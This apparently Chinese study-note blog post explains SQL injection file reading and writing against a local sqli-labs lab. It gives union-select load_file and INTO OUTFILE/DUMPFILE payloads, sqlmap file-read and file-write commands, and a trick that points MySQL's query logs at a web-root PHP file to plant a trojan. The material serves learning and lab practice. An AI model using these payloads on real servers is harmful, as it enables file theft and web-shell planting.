vlambda博客
学习文章列表

SQL注入文件读写总结

 个人学习笔记(四)




SQL注入文件读写总结

SQL注入漏洞除了可以对数据库进行数据的查询之外,还可以对的服务器的文件进行读写操作。

靶场:  http://127.0.0.1/sqli-labs/Less-2/?id=1

一、SQL注入读取文件

首先在D盘根目录下新建一个test.txt文件,为要读取的目标文件,内容为:好好学习,天天向上!

avatar

(1)、手工

语句: select load_file(‘文件路径’)http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D://test.txt')--+
SQL注入文件读写总结

(2)、sqlmap

语句:--file-read 文件路径 从数据库服务器中读取文件python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-read "D:/test.txt"

结果保存在:C:\Users\Ifory\AppData\Local\sqlmap\output\127.0.0.1\files\D__test.txt

SQL注入文件读写总结
SQL注入文件读写总结

二、SQL注入写入文件

(1)、手工

select '<?php phpinfo() ?>' into outfile '目的文件' select '<?php phpinfo() ?>' into dumpfile '目的文件' (用于二进制文件)http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'<?php phpinfo() ?>' into dumpfile 'D:\\phpstudy_pro\\WWW\\a.php'--+
SQL注入文件读写总结

访问成功,文件已写

SQL注入文件读写总结
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'<?php phpinfo() ?>' into outfile 'D:\\phpstudy_pro\\WWW\\b.php'--+
SQL注入文件读写总结

访问成功,文件已写

SQL注入文件读写总结

(2)、sqlmap

--file-write 本地文件 --file-dest 目的文件

例:将本地D:/test.txt文件,写入D:/phpstudy_pro/WWW/aa.php中

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-write "D:/test.txt" --file-dest "D:/phpstudy_pro/WWW/aa.php"

访问成功,文件已写

SQL注入文件读写总结

三、文件读写前提条件

1.用户权限足够高,尽量具有root权限。2.secure_file_priv 选项不对文件读写权限限制3.知道绝对物理路径4.能够使用联合查询(sql注入时)

查询当前用户是否有文件读写权限:

and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23

secure_file_priv参数用来限制数据导入和导出操作的效果

secure_file_prive=null 限制mysqld 不允许导入和导出secure_file_priv=/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下secure_file_priv= 不对mysqld 的导入和导出做限制

使用命令查看权限配置

show global variables like '%secure%';
SQL注入文件读写总结


mysql 5.6.34版本以后,配置文件默认没有secure_file_priv这个选项,实际为NULL。并且无法用sql语句对其进行修改,只能够通过修改以下文件。

windows my.ini[mysqld] secure_file_priv=linux cat /etc/my.cnf[mysqld] secure_file_priv=

四、突破secure_file_priv 选项限制

通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。

1、查看日志状态(默认禁止)

show variables like 'general_log%'; 查询日志
SQL注入文件读写总结
show variables like '%slow_query_log%'; 慢查询日志
SQL注入文件读写总结

2、开启日志记录

set global general_log = 'ON'; 查询日志set global slow_query_log=1; 慢查询日志

3、伪造(修改)日志文件的绝对路径以及文件名

set global general_log_file="D:/phpstudy_pro/WWW/test.php"; 查询日志set global slow_query_log_file='D:/phpstudy_pro/WWW/test.php’; 慢查询日志

默认日志路径已更改

SQL注入文件读写总结
SQL注入文件读写总结

4、执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中

select '<?php phpinfo() ?>'; 查询日志select '<?php phpinfo() ?>' or sleep(11); 慢查询日志
SQL注入文件读写总结
SQL注入文件读写总结
SQL注入文件读写总结

关于慢查询日志

命令执行时间超过long_query_time设定的值(默认10s),则会保存至慢查询日志。查看long_query_time设定的值

show global variables like '%long_query_time%';